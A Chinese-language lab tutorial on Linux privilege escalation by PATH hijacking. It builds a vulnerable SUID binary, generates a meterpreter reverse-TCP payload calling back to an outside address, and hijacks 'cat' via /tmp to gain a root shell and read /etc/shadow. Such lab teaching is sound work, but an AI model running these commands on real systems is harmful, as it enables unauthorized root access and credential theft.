环境变量劫持提权
环境变量劫持提权原理
PATH是Linux和类Unix操作系统中的环境变量,类似windows中的path环境变量,当我们执行一个命令的时候shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中逐步查找命令,查看环境变量命令如下:
echo $PATH #查看环境变量
如果我们可以在环境变量中写入自己的环境变量,然后写一个自己的恶意命令,从而达到提权的目的
提权准备
假设管理员用户在/home目录下创建了一个demo.c文件,内容如下,执行查看shadow文件命令,setuid 规定了其运行用户,以root权限进行编译和权限设置
#include<unistd.h>
void main() {
setuid(0);
setgid(0);
system("cat /etc/shadow");
}
然后使用gcc进行编译
gcc demo.c -o shell
运行 shell 命令就是打开shadow文件
赋予shell文件SUID权限 chmod u+s shell
接下来就可以进行提权了
提权实战
首先上线机器
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=8888 -f elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.105
set lport 8888
run
可以看到目前我们的用户是一个普通用户daoer的权限
接下来用命令查找SUID文件,发现一个shell文件被配置了SUID
find / -user root -perm -4000 -print 2>/dev/null
运行shell文件,发现是查看/etc/shadow的命令
那么我们劫持cat命令,达到提权的目的
echo "/bin/bash" > /tmp/cat
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
/home/shell
whoami
提权成功